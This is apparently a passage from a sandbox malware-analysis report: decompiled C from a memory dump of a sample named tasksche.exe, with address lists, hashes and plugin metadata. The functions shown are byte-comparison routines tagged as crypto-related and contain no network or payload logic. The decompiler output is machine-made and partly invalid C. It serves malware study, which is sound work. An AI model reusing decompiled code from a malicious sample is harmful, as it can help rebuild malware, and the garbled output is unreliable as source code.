													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
